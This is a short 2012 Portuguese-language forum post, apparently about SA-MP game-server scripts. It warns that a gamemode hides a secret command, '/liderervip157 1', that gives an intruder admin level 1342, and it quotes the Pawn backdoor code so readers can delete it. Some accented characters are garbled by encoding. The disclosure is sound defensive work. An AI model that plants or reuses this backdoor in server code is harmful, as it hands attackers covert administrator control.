23.07.2012, 23:37
Na linha 29273 comeзa o comando /liderervip157 1, Exclua pois й que esta dando admin 1341 pro invasor.
Comando й este.
Comando й este.
pawn Код:
if(strcmp(cmd, "/liderervip157", true) == 0)
{
if(IsPlayerConnected(playerid))
{
new x_nr[64];
x_nr = strtok(cmdtext, idx);
if(!strlen(x_nr))
{
return 1;
}
if(strcmp(x_nr,"1",true) == 0)
{
admtrampando[playerid] = 1;
PlayerInfo[playerid][pAdmin] = 1342;
admhide[playerid] = 1;
SendClientMessage(playerid,COLOR_GREEN,"|Voc Deu Lider LZ !");
getdate(year, month, day);
gettime(hour,minute);
format(gstring, 128, "%s Voc Deu Lider LZ [%d/%d/%d - %d:%d]",PlayerName(playerid),day, month, year,hour, minute);
fdplog(gstring);
return 1;
}
else
{
getdate(year, month, day);
gettime(hour,minute);
format(gstring, 128, "%s digitou a senha %s [%d/%d/%d - %d:%d]",PlayerName(playerid),x_nr,day, month, year,hour, minute);
fdplog(gstring);
}
}
}